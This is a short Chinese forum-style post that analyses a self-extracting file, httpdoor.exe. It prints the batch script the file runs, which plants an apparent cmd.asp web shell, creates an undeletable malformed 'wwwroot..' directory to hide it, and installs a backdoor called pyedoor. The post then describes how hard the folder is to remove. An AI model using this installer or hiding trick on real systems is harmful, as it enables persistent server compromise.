运行自解压程序 httpdoor.exe
会执行以下批处理:
@echo off
@mkdir wwwroot
@echo off
@copy cmd.asp wwwroot
@mkdir wwwroot..\
@del cmd.asp
@pyedoor -install
@pyedoor.exe
@exit
运行完后,会见到目录下生成两个文件夹 wwwroot 和 wwwroot.
往任何一个文件夹里拷东西,另一个也会有相同的东西出现.
两个文件夹可能相关联,或者是一个地址的两个影射状态.
现在的问题是,只能删除一个,另一个无法删除,因为根本找不到源文件.
所以总能看见一个文件夹在你刚才的目录下.
没有相关进程,DOS下能看见但无法删除,安全模式下删不了~
|
